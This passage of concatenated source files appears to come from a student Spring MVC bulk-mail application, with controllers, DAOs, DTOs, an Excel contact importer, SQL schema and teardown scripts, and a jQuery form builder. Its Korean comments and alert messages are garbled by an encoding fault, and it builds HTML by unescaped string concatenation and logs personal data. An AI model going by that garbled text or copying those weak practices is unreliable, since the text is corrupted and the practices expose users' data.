out.println("<script>alert('๋น๋ฐ๋ฒํธ๋ฅผ ๋ค์ ์
๋ ฅํด์ฃผ์ธ์.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "personal1";
}
return "error";
}
@RequestMapping(value = "personal2.do", method = RequestMethod.POST)
public String personal2(PersonalDto dto,HttpSession session, HttpServletResponse response, Model model) {
//header์์ ๋ฐ์์จ ์ด๋ฉ์ผ ์ ๋ณด
String email = (String) session.getAttribute("personalEmail");
//์์ ๋ด์ฉ์ dto์ ๋ฃ์ด์ค
dto.setMembers_email(email);
//์ฑ๊ณต 1 ์คํจ 0
int res = biz_p.personalPwChange(dto);
System.out.println(res);
//ํ๋ฉด์ alert์ฐฝ ๋์ฐ๊ธฐ, ์์ httpservletResponse๋ฅผ ์จ์ค์ผํ๋ค.
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ์ต๋๋ค.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
//header์ ์ด๋ฉ์ผ ์ ๋ณด๋ฅผ ๋ณด๋ด์ค , jsp์ ${email๋ฑ๋ฑ}๋ถ๋ถ
model.addAttribute("email", email);
model.addAttribute("personalList", biz_p.personalList(dto));
return "personal2";
}
}```
HelpBiz.java
```package com.tmail.board.Biz;
import java.util.List;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.HelpDto;
public interface HelpBiz {
public int insertHelp(HelpDto dto);
public List<HelpDto>help_groupList();
public String help_registerName(String email);
public int help_update(HelpDto dto);
public int help_delete(int help_seq);
public List<String> help_email_return(AddressDto dto, List<String> cus_seq);
}```
MailboxAttachDto.java
```package com.tmail.board.Dto;
public class MailboxAttachDto {
private String uuid;
private String uploadPath;
private String fileName;
private boolean fileType;
private int bno;
public MailboxAttachDto() {
super();
}
public MailboxAttachDto(String uuid, String uploadPath, String fileName, boolean fileType, int bno) {
super();
this.uuid = uuid;
this.uploadPath = uploadPath;
this.fileName = fileName;
this.fileType = fileType;
this.bno = bno;
}
public String getUuid() {
return uuid;
}
public void setUuid(String uuid) {
this.uuid = uuid;
}
public String getUploadPath() {
return uploadPath;
}
public void setUploadPath(String uploadPath) {
this.uploadPath = uploadPath;
}
public String getFileName() {
return fileName;
}
public void setFileName(String fileName) {
this.fileName = fileName;
}
public boolean isFileType() {
return fileType;
}
public void setFileType(boolean fileType) {
this.fileType = fileType;
}
public int getBno() {
return bno;
}
public void setBno(int bno) {
this.bno = bno;
}
}
```
MailboxAttachDao.java
```package com.tmail.board.Dao;
import java.util.List;
import com.tmail.board.Dto.MailboxAttachDto;
public interface MailboxAttachDao {
String namespace ="mailboxAttach.";
void insert(MailboxAttachDto attach);
void delete(String uuid);
List<MailboxAttachDto> findByBno(int bno);
void deleteAll(int bno);
}
```
BoardDto.java
```package com.tmail.board.Dto;
import java.sql.Date;
import org.springframework.format.annotation.DateTimeFormat;
public class BoardDto {
/*
CREATE TABLE BOARD(
SEQNO NUMBER PRIMARY KEY,
NAME VARCHAR2(25),
TITLE VARCHAR2(50),
CONTENT VARCHAR2(250),
REGDATE DATE
);
*/
private int seqno;
private String name;
private String title;
private String content;
@DateTimeFormat(pattern = "yyyy-MM-dd")
private Date regdate;
public BoardDto() {
super();
}
// insert
public BoardDto(String name, String title, String content) {
super();
this.name = name;
this.title = title;
this.content = content;
}
// update
public BoardDto(int seqno, String title, String content) {
super();
this.seqno = seqno;
this.title = title;
this.content = content;
}
public int getSeqno() {
return seqno;
}
public void setSeqno(int seqno) {
this.seqno = seqno;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public Date getRegdate() {
return regdate;
}
public void setRegdate(Date regdate) {
this.regdate = regdate;
}
}
```
SummernoteDto.java
```package com.tmail.board.Dto;
import java.util.Date;
import java.util.List;
import oracle.sql.CLOB;
public class SummernoteDto {
private int bulid_seq;
private String build_content;
private String build_summer;
private Date build_date;
private List<String> email;
public List<String> getEmail() {
return email;
}
public void setEmail(List<String> email) {
this.email = email;
}
public int getBulid_seq() {
return bulid_seq;
}
public void setBulid_seq(int bulid_seq) {
this.bulid_seq = bulid_seq;
}
public String getBuild_content() {
return build_content;
}
public void setBuild_content(String build_content) {
this.build_content = build_content;
}
public String getBuild_summer() {
return build_summer;
}
public void setBuild_summer(String build_summer) {
this.build_summer = build_summer;
}
public Date getBuild_date() {
return build_date;
}
public void setBuild_date(Date build_date) {
this.build_date = build_date;
}
@Override
public String toString() {
return "summernoteDto [bulid_seq=" + bulid_seq + ", build_content=" + build_content + ", build_summer="
+ build_summer + ", build_date=" + build_date + "]";
}
}
```
HelpDaoImpl.java
```package com.tmail.board.Dao.impl;
import java.util.ArrayList;
import java.util.List;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.tmail.board.Dao.HelpDao;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.HelpDto;
@Repository
public class HelpDaoImpl implements HelpDao{
@Autowired
private SqlSessionTemplate sqlSession;
@Override
public int insertHelp(HelpDto dto) {
int res = 0;
try {
res = sqlSession.insert(namespace+"help_insert",dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public List<HelpDto> help_groupList() {
List<HelpDto>res = null;
try {
res = sqlSession.selectList(namespace+"help_selectList");
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public String help_registerName(String email) {
String emails= "";
try {
emails = sqlSession.selectOne(namespace+"help_registerName",email);
} catch (Exception e) {
e.printStackTrace();
}
return emails;
}
@Override
public int help_update(HelpDto dto) {
int res = 0;
try {
res = sqlSession.update(namespace+"help_update",dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int help_delete(int help_seq) {
int res = 0;
try {
res = sqlSession.delete(namespace+"help_delete",help_seq);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@SuppressWarnings("rawtypes")
@Override
public List<String> help_email_return(AddressDto dto, List<String> cus_seq) {
List<String> email = new ArrayList();
try {
for(int i = 0; i<cus_seq.size(); i++) {
dto.setCustomer_seq(Integer.parseInt(cus_seq.get(i)));
String mail = sqlSession.selectOne(namespace+"selectOne_email_group", dto);
System.out.println("๋๋น์์ ๋์จ ์ด๋ฉ์ผ ๊ฐ :"+mail);
email.add(mail);
}
System.out.println(email+"....................");
} catch (Exception e) {
e.printStackTrace();
}
return email;
}
}```
CustomerExcelReader.java
```package com.tmail.board.excel;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.poi.hssf.usermodel.HSSFCell;
import org.apache.poi.hssf.usermodel.HSSFRow;
import org.apache.poi.hssf.usermodel.HSSFSheet;
import org.apache.poi.hssf.usermodel.HSSFWorkbook;
import org.apache.poi.xssf.usermodel.XSSFCell;
import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.springframework.stereotype.Service;
import com.tmail.board.Dto.AddressDto;
@Service
public class CustomerExcelReader {
@SuppressWarnings("resource")
public List<AddressDto> xlsToCustomerVOList(String filePath) {
List<AddressDto> list = new ArrayList<AddressDto>();
FileInputStream fis = null;
HSSFWorkbook wb = null;
try {
fis = new FileInputStream(filePath);
wb = new HSSFWorkbook(fis);
HSSFSheet curSheet;
HSSFRow curRow;
HSSFCell curCell;
AddressDto vo;
for (int sheetIndex = 0; sheetIndex < wb.getNumberOfSheets(); sheetIndex++) {
curSheet = wb.getSheetAt(sheetIndex);
for (int rowIndex = 0; rowIndex < curSheet.getPhysicalNumberOfRows(); rowIndex++) {
if (rowIndex != 0) {
curRow = curSheet.getRow(rowIndex);
vo = new AddressDto();
String value;
if (!"".equals(curRow.getCell(0).getStringCellValue())) {
for (int cellIndex = 0; cellIndex < curRow.getPhysicalNumberOfCells(); cellIndex++) {
curCell = curRow.getCell(cellIndex);
if (true) {
value = "";
switch (curCell.getCellType()) {
case HSSFCell.CELL_TYPE_FORMULA:
value = curCell.getNumericCellValue() + "";
break;
case HSSFCell.CELL_TYPE_NUMERIC:
value = curCell.getNumericCellValue() + "";
break;
case HSSFCell.CELL_TYPE_STRING:
value = curCell.getStringCellValue() + "";
break;
case HSSFCell.CELL_TYPE_BLANK:
value = curCell.getBooleanCellValue() + "";
break;
case HSSFCell.CELL_TYPE_ERROR:
value = curCell.getErrorCellValue() + "";
break;
default:
value = new String();
break;
}
switch (cellIndex) {
case 0: // ์ด๋ฆ
vo.setCustomer_name(value);
;
break;
case 1: // ์ด๋ฉ์ผ
vo.setCustomer_email(value);
break;
default:
break;
}
}
}
list.add(vo);
System.out.println(vo.getCustomer_email()+"\n" + vo.getCustomer_name());
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if( wb != null)
if( fis != null) fis.close();
}catch (Exception e) {
e.printStackTrace();
}
}
return list;
}
public List<AddressDto> xlsxToCustomerVoList(String filePath) {
// ๋ฐํํ ๊ฐ์ฒด๋ฅผ ์์ฑ
List<AddressDto> list = new ArrayList<AddressDto>();
FileInputStream fis = null;
XSSFWorkbook wb = null;
try {
fis= new FileInputStream(filePath);
// HSSFWorkbook์ ์์
ํ์ผ ์ ์ฒด ๋ด์ฉ์ ๋ด๊ณ ์๋ ๊ฐ์ฒด
wb = new XSSFWorkbook(fis);
// ํ์์ ์ฌ์ฉํ Sheet, Row, Cell ๊ฐ์ฒด
XSSFSheet curSheet;
XSSFRow curRow;
XSSFCell curCell;
AddressDto vo;
// Sheet ํ์ for๋ฌธ
for(int sheetIndex = 0 ; sheetIndex < wb.getNumberOfSheets(); sheetIndex++) {
// ํ์ฌ Sheet ๋ฐํ
curSheet = wb.getSheetAt(sheetIndex);
// row ํ์ for๋ฌธ
for(int rowIndex=0; rowIndex < curSheet.getPhysicalNumberOfRows(); rowIndex++) {
// row 0์ ํค๋์ ๋ณด์ด๊ธฐ ๋๋ฌธ์ ๋ฌด์
if(rowIndex != 0) {
// ํ์ฌ row ๋ฐํ
curRow = curSheet.getRow(rowIndex);
vo = new AddressDto();
String value;
// row์ ์ฒซ๋ฒ์งธ cell๊ฐ์ด ๋น์ด์์ง ์์ ๊ฒฝ์ฐ ๋ง cellํ์
if(!"".equals(curRow.getCell(0).getStringCellValue())) {
// cell ํ์ for ๋ฌธ
for(int cellIndex=0;cellIndex<curRow.getPhysicalNumberOfCells(); cellIndex++) {
curCell = curRow.getCell(cellIndex);
if(true) {
value = "";
// cell ์คํ์ผ์ด ๋ค๋ฅด๋๋ผ๋ String์ผ๋ก ๋ฐํ ๋ฐ์
switch (curCell.getCellType()){
case HSSFCell.CELL_TYPE_FORMULA:
value = curCell.getCellFormula();
break;
case HSSFCell.CELL_TYPE_NUMERIC:
value = curCell.getNumericCellValue()+"";
break;
case HSSFCell.CELL_TYPE_STRING:
value = curCell.getStringCellValue()+"";
break;
case HSSFCell.CELL_TYPE_BLANK:
value = curCell.getBooleanCellValue()+"";
break;
case HSSFCell.CELL_TYPE_ERROR:
value = curCell.getErrorCellValue()+"";
break;
default:
value = new String();
break;
}
// ํ์ฌ column index์ ๋ฐ๋ผ์ vo์ ์
๋ ฅ
switch (cellIndex) {
case 0: // ์ด๋ฆ
vo.setCustomer_name(value);;
break;
case 1: // ์ด๋ฉ์ผ
vo.setCustomer_email(value);
break;
default:
break;
}
}
}
// cell ํ์ ์ดํ vo ์ถ๊ฐ
list.add(vo);
System.out.println(vo.getCustomer_name()+"\n" + vo.getCustomer_email());
}
}
}
}
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} finally {
try {
// ์ฌ์ฉํ ์์์ finally์์ ํด์
if( wb!= null)
if( fis!= null) fis.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return list;
}
}
```
MailboxBizImpl.java
```package com.tmail.board.Biz.impl;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.tmail.board.Biz.MailboxBiz;
import com.tmail.board.Dao.MailboxAttachDao;
import com.tmail.board.Dao.MailboxDao;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxAttachDto;
import com.tmail.board.Dto.MailboxDto;
@Service
public class MailboxBizImpl implements MailboxBiz{
MailboxDao dao;
MailboxAttachDao attachDao;
@Autowired
public void setDao(MailboxDao dao) {
this.dao = dao;
}
@Autowired
public void setAttachDao(MailboxAttachDao attachDao) {
this.attachDao = attachDao;
}
@Override
public List<MailboxDto> getList(Criteria cri, String email) {
return dao.getList(cri, email);
}
@Override
public void addMail(MailboxDto mail) {
dao.addMail(mail);
}
@Override
public MailboxDto getMail(int bno) {
return dao.getMail(bno);
}
@Transactional
@Override
public boolean deleteMail(int bno) {
attachDao.deleteAll(bno);
return dao.deleteMail(bno);
}
@Transactional
@Override
public boolean updateMail(MailboxDto mail) {
attachDao.deleteAll(mail.getBno());
boolean updateResult = dao.updateMail(mail);
if(updateResult && mail.getAttachList() != null) {
mail.getAttachList().forEach(attach -> {
attach.setBno(mail.getBno());
attachDao.insert(attach);
});
}
return updateResult;
}
@Override
public int getTotal(Criteria cri, String email) {
return dao.getTotal(email);
}
@Override
public List<MailboxAttachDto> getAttachList(int bno) {
return attachDao.findByBno(bno);
}
@Override
public List<MailboxDto> getTemplates(String email) {
return dao.getTemplates(email);
}
}
```
MailboxAttachDaoImpl.java
```package com.tmail.board.Dao.impl;
import java.util.List;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.tmail.board.Dao.MailboxAttachDao;
import com.tmail.board.Dto.MailboxAttachDto;
@Repository
public class MailboxAttachDaoImpl implements MailboxAttachDao{
@Autowired
SqlSessionTemplate sql;
@Override
public void insert(MailboxAttachDto attach) {
sql.insert(namespace + "insert", attach);
}
@Override
public void delete(String uuid) {
sql.delete(namespace + "delete", uuid);
}
@Override
public List<MailboxAttachDto> findByBno(int bno) {
return sql.selectList(namespace + "findByBno", bno);
}
@Override
public void deleteAll(int bno) {
sql.delete(namespace + "deleteAll", bno);
}
}
```
PersonalBizImpl.java
```package com.tmail.board.Biz.impl;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.tmail.board.Biz.PersonalBiz;
import com.tmail.board.Dao.PersonalDao;
import com.tmail.board.Dto.PersonalDto;
@Service
public class PersonalBizImpl implements PersonalBiz {
@Autowired
private PersonalDao dao;
@Override
public int person(PersonalDto dto) {
return dao.person(dto);
}
@Override
public List<PersonalDto> personalList(PersonalDto dto) {
return dao.personalList(dto);
}
@Override
public int personalPwChange(PersonalDto dto) {
return dao.personalPwChange(dto);
}
}
```
InsertResultDto.java
```package com.tmail.board.Dto;
import java.util.List;
public class InsertResultDto {
private List<String> emailFalse;
private List<String> nameFalse;
private int sum;
public List<String> getEmailFalse() {
return emailFalse;
}
public void setEmailFalse(List<String> emailFalse) {
this.emailFalse = emailFalse;
}
public List<String> getNameFalse() {
return nameFalse;
}
public void setNameFalse(List<String> nameFalse) {
this.nameFalse = nameFalse;
}
public int getSum() {
return sum;
}
public void setSum(int sum) {
this.sum = sum;
}
}
```
HelpDto.java
```package com.tmail.board.Dto;
public class HelpDto {
private int help_seq;
private String help_title;
private String help_title_detail;
private String members_name;
public int getHelp_seq() {
return help_seq;
}
public void setHelp_seq(int help_seq) {
this.help_seq = help_seq;
}
public String getHelp_title() {
return help_title;
}
public void setHelp_title(String help_title) {
this.help_title = help_title;
}
public String getHelp_title_detail() {
return help_title_detail;
}
public void setHelp_title_detail(String help_title_detail) {
this.help_title_detail = help_title_detail;
}
public String getMembers_name() {
return members_name;
}
public void setMembers_name(String members_name) {
this.members_name = members_name;
}
@Override
public String toString() {
return "helpDto [help_seq=" + help_seq + ", help_title=" + help_title + ", help_title_detail="
+ help_title_detail + ", members_name=" + members_name + "]";
}
}```
tomail_address.sql
```--๊ทธ๋ฃน
CREATE SEQUENCE GROUP_ADDRESS_SEQ;
CREATE TABLE GROUP_ADDRESS_TABLE(
group_seq NUMBER PRIMARY KEY,
group_title VARCHAR2(30),
group_date DATE DEFAULT SYSDATE,
members_seq NUMBER NOT NULL,
cnt NUMBER NOT NULL,
CONSTRAINT GROUP_MEMBER_SEQ FOREIGN KEY(MEMBERS_SEQ) REFERENCES members(MEMBERS_SEQ)
);
--์ฃผ์๋ก
CREATE SEQUENCE address_customer_seq INCREMENT BY 1 START WITH 1;
CREATE TABLE ADDRESS_TABLE(
customer_seq NUMBER PRIMARY KEY,
customer_name VARCHAR2(30),
customer_email VARCHAR2(30),
group_seq NUMBER NOT NULL,
members_seq NUMBER NOT NULL,
CONSTRAINT admin_group_seq FOREIGN KEY(group_seq) REFERENCES GROUP_ADDRESS_TABLE(group_seq),
CONSTRAINT ADDRESS_FK_MEMBER_ID FOREIGN KEY(MEMBERS_SEQ) REFERENCES MEMBERS(MEMBERS_SEQ)
);
commit;```
AddressDaoImpl.java
```package com.tmail.board.Dao.impl;
import java.util.List;
import org.mybatis.spring.SqlSessionTemplate;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.tmail.board.Dao.AddressDao;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Address_GroupDto;
@Repository
public class AddressDaoImpl implements AddressDao {
Logger log = LoggerFactory.getLogger(AddressDaoImpl.class);
@Autowired
private SqlSessionTemplate sqlSession;
@Override
public List<AddressDto> selectList(AddressDto dto) {
List<AddressDto>res = null;
System.out.println("select_list");
try {
res = sqlSession.selectList(namespace + "selectList", dto);
} catch (Exception e) {
System.out.println("selectList ์ค๋ฅ");
e.printStackTrace();
}
System.out.println(res+"๋๋น์์ ๋์จ๊ฐ");
return res;
}
@Override
public AddressDto selectOne_email_chk(String name) {
AddressDto dto = sqlSession.selectOne(namespace + "selectOne_email_chk",name);
try {
} catch (Exception e) {
System.out.println("selectOne ์ค๋ฅ");
e.printStackTrace();
}
return dto;
}
@Override
public int insert(AddressDto dto) {
int res = 0;
System.out.println(dto.getCustomer_email()+"์ด๋ฉ์ผ\n"+dto.getCustomer_name()+"์ด๋ฆ\n"+dto.getGroup_seq()+"๊ทธ๋ฃธ์์ค์ดํ\n"+dto.getMembers_seq()+"๋ฉค๋ฒ์์ค์ดํ\n");
try {
res = sqlSession.insert(namespace + "insert", dto);
} catch (Exception e) {
System.out.println("insert ์ค๋ฅ");
e.printStackTrace();
}
return res;
}
@Override
public int update(AddressDto dto) {
int res = 0;
System.out.println(dto.getCustomer_seq()+"์ปค์คํ ๋จธ์์ค์ดํ");
System.out.println(dto.getCustomer_name()+"๋ฐ๋ ์ด๋ฆ");
try {
res = sqlSession.update(namespace + "update", dto);
} catch (Exception e) {
System.out.println("update ์ค๋ฅ");
e.printStackTrace();
}
return res;
}
@Override
public int delete(String name) {
int res = 0;
try {
res = sqlSession.delete(namespace + "delete", name);
} catch (Exception e) {
System.out.println("delete ์ค๋ฅ");
e.printStackTrace();
}
return res;
}
@Override
public int address_check(AddressDto dto) {
String names = null;
String email = null;
System.out.println("์ด๋ฉ์ผ ์ฒดํฌ ์์");
try {
names = sqlSession.selectOne(namespace+ "address_check", dto);
email = sqlSession.selectOne(namespace+"address_check2",dto);
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("๋๋น์์ ๋์จ ์ด๋ฆ :"+names + "\n ๋ด๊ฐ๋ณด๋ธ ์ด๋ฆ :" + dto.getCustomer_name());
if(dto.getCustomer_name().equals(names)||dto.getCustomer_email().equals(email)) {
System.out.println("์ค๋ณต๋์ด์");
return 0;
}else {
return 1;
}
}
@Override
public int group_insert(Address_GroupDto dto) {
int res = 0;
System.out.println(dto.getMembers_seq()+"dddddddddddddddd");
try {
res = sqlSession.insert(namespace+"group_insert", dto);
} catch (Exception e) {
e.printStackTrace();
}
if(res==1) {
System.out.println("์ธ์ํธ ์ฑ๊ณต");
}else if(res==0) {
System.out.println("์ธ์ํธ ์คํจ");
}else {
System.out.println("์ค๋ฅ");
}
return res;
}
@Override
public List<Address_GroupDto> selectList_Group(int members_seq) {
List<Address_GroupDto>res = null;
try {
res = sqlSession.selectList(namespace+"group_selectList",members_seq);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int group_admin_size(int group_seq) {
int res = 0;
System.out.println(group_seq+"??");
try {
Object tmp = sqlSession.selectOne(namespace+"group_admin_size",group_seq);
res = (tmp==null)?0:Integer.parseInt(tmp.toString());
} catch (Exception e) {
e.printStackTrace();
}
System.out.println(res+"!!!!!!!!!!");
return res;
}
@Override
public int delete_group(Address_GroupDto dto) {
int res = 0;
try {
res = sqlSession.delete(namespace+"delete_group",dto);
System.out.println(res+"ddddd");
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int update_group(Address_GroupDto dto) {
int res = 0;
System.out.println(dto.getGroup_seq());
try {
System.out.println(dto.getGroup_seq()+"\n"+dto.getMembers_seq()+"\n"+dto.getGroup_title());
res = sqlSession.update(namespace+"update_group", dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int group_cnt(Address_GroupDto dto) {
int res = 0;
try {
res = sqlSession.update(namespace+"group_cnt",dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public int delete_addr(AddressDto dto) {
int res = 0;
try {
res = sqlSession.delete(namespace+"delete_group_addr",dto);
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
@Override
public String selectOne_email(AddressDto dto) {
String res = null;
System.out.println(dto.getCustomer_seq()+"๋๋น์ ๋ฃ์ seq"+dto.getMembers_seq()+"\t"+dto.getGroup_seq());
try {
res = sqlSession.selectOne(namespace+"selectOne_email_to", dto);
} catch (Exception e) {
e.printStackTrace();
}
System.out.println(res+"๋๋น์์ ๋์จ ์ด๋ฉ์ผ ํ์ธ ๊ฐ");
return res;
}
@Override
public List<String> selectOne_cus_seq(AddressDto dto) {
System.out.println(dto.getGroup_seq()+"๊ทธ๋ฃน๊ทธ๋ฃน"+dto.getMembers_seq()+"๋ฉค๋ฒ๋ฉค๋ฒ");
//List<Integer> ress = null;
List<String> res = null;
try {
res = sqlSession.selectList(namespace +"selectList_cusSeq", dto);
System.out.println(res);
//res = (tmp==null)?0:Integer.parseInt(tmp.toString());
} catch (Exception e) {
e.printStackTrace();
}
return res;
}
}```
tomail_All_drop.sql
```DROP TABLE ADDRESS_TABLE;
drop sequence address_customer_seq;
DROP TABLE GROUP_ADDRESS_TABLE;
DROP SEQUENCE GROUP_ADDRESS_SEQ;
DROP SEQUENCE members_SEQ;
DROP TABLE members;```
Criteria.java
```package com.tmail.board.Dto;
import org.springframework.web.util.UriComponentsBuilder;
//import static org.springframework.test.web.client.match.MockRestRequestMatchers.queryParam;
public class Criteria {
private int pageNum;
private int amount;
MailboxDto mailbox = new MailboxDto();
public Criteria() {
this(1, 10);
}
public Criteria(int pageNum, int amount) {
this.pageNum = pageNum;
this.amount = amount;
}
public String getListLink() {
UriComponentsBuilder builder = UriComponentsBuilder.fromPath("")
.queryParam("pageNum", this.pageNum)
.queryParam("amount", this.getAmount());
return builder.toUriString();
}
public int getPageNum() {
return pageNum;
}
public void setPageNum(int pageNum) {
this.pageNum = pageNum;
}
public int getAmount() {
return amount;
}
public void setAmount(int amount) {
this.amount = amount;
}
}
```
formBuilderTest.js
```$(document).ready(function () {
$(".form_bal_textfield").draggable({ //๋๋๊ทธํจ
helper: function () { //๋๋๊ทธ ์ค ์ฌ์ฉํ ํจ์
return getTextFieldHTML();
},
connectToSortable: ".form_builder_area"
});
function getTextFieldHTML() {
var field = generateField();
var html = '<div class="all_div"><div class="row li_row"><div class="col-md-12" style="text-align : center;"><strong>Text</strong><button type="button" class="btn btn-primary btn-sm remove_bal_field pull-right" data-field="' + field + '"><i class="fa fa-times"></i></button></div></div></div><hr/><div class="row li_row form_output" data-type="text" data-field="' + field + '"><div class="col-md-12"><div class="form-group"><input type="text" name="label_' + field + '" class="form-control form_input_label" value="form-control" placeholder="Class" data-field="' + field + '"/></div></div><div class="col-md-12"><div class="form-group"><input type="text" name="placeholder_' + field + '" data-field="' + field + '" class="form-control form_input_placeholder" placeholder="Placeholder"/></div></div><div class="col-md-12"><div class="form-group"><input type="text" name="text_' + field + '" class="form-control form_input_name" placeholder="Name"/></div></div><div class="col-md-12"><div class="form-check"><label class="form-check-label"><input data-field="' + field + '" type="checkbox" class="form-check-input form_input_req">Required</label></div></div></div>';
return $('<div>').addClass('li_' + field + ' form_builder_field').html(html);
}
function generateField() {
return Math.floor(Math.random() * (100000 - 1 + 1) + 57);
}
function getPreview(plain_html = '') {
var el = $('.form_builder_area .form_output');
var html = '';
el.each(function () {
var data_type = $(this).attr('data-type');
//var field = $(this).attr('data-field');
var label = $(this).find('.form_input_label').val();
var name = $(this).find('.form_input_name').val();
if (data_type === 'text') {
var placeholder = $(this).find('.form_input_placeholder').val();
var checkbox = $(this).find('.form-check-input');
var required = '';
if (checkbox.is(':checked')) {
required = 'required';
}
html += '<input type="text" name="' + name + '" placeholder="' + placeholder + '" class="'+label+'" ' + required + '/>';
}
if (html.length) { //๋ฒํผ์ ๋ณด์ฌ์ฃผ๊ฒํ๊ณ (html์ด ๊ธธ์ด๊ฐ ์์ผ๋ฉด)
$('.export_html').show();
}
});
}
});// end $(document).ready(function(){})
```
MailboxController.java
```package com.tmail.board.controller;
import java.io.IOException;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.List;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import com.tmail.board.Biz.MailboxBiz;
import com.tmail.board.Biz.RegisterBiz;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxAttachDto;
import com.tmail.board.Dto.MailboxDto;
import com.tmail.board.Dto.PageDto;
import com.tmail.board.Dto.RegisterDto;
@Controller
public class MailboxController {
@Autowired
MailboxBiz biz;
@Autowired
RegisterBiz regBiz;
@Autowired
JavaMailSender mailSender;
RegisterDto regDto = new RegisterDto();
@RequestMapping("/mailForm")
public String getFileForm() {
return "mailFormTest";
}
@RequestMapping("/getList")
public String getList(Criteria cri, String email, Model model) {
model.addAttribute("email", email);
model.addAttribute("list", biz.getList(cri, email));
int total = biz.getTotal(cri, email);
model.addAttribute("pageMaker", new PageDto(cri, total));
return "getList";
}
@GetMapping(value="/getAttachList", produces=MediaType.APPLICATION_JSON_UTF8_VALUE)
@ResponseBody
public ResponseEntity<List<MailboxAttachDto>> getAttachList(int bno){
return new ResponseEntity<>(biz.getAttachList(bno), HttpStatus.OK);
}
@RequestMapping(value= "/updateMail", method=RequestMethod.GET)
public String updateMail(MailboxDto mail, int bno, String email, Criteria cri, int template, Model model, HttpServletResponse response) {
model.addAttribute("mail", biz.getMail(bno));
if(template == 1) {
model.addAttribute("template", "temFn1.jsp");
} else if(template == 2) {
model.addAttribute("template", "temFn2.jsp");
} else if(template == 3) {
model.addAttribute("template", "temFn3.jsp");
} else if(template == 4) {
model.addAttribute("template", "temFn4.jsp");
} else if(template == 5) {
model.addAttribute("template", "temFn5.jsp");
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
return "templateBuilder_view";
}
@RequestMapping(value="/updateMail", method=RequestMethod.POST)
public String updateMail(MailboxDto mail, Criteria cri, RedirectAttributes rttr, String email,
String template, HttpServletResponse response, AddressDto addr) throws MessagingException, IOException {
if(biz.updateMail(mail)) {
rttr.addFlashAttribute("result", "success");
rttr.addAttribute("email", email);
}
return "redirect: getList" + cri.getListLink();
}
@RequestMapping(value="/deleteMail")
public String deleteMail(@RequestParam("bno") int bno, String email, @ModelAttribute("cri") Criteria cri, RedirectAttributes rttr) {
List<MailboxAttachDto> attachList = biz.getAttachList(bno);
if(biz.deleteMail(bno)) {
deleteFiles(attachList);
rttr.addFlashAttribute("result", "success");
rttr.addAttribute("email", email);
}
return "redirect: getList" + cri.getListLink();
}
private void deleteFiles(List<MailboxAttachDto> attachList) {
if(attachList == null || attachList.size() == 0){
return;
}
attachList.forEach(attach -> {
try {
Path file = Paths.get("C:\\upload\\"+attach.getUploadPath()+"\\"+attach.getUuid()+"_"+attach.getFileName());
Files.deleteIfExists(file);
if(Files.probeContentType(file).startsWith("image")) {
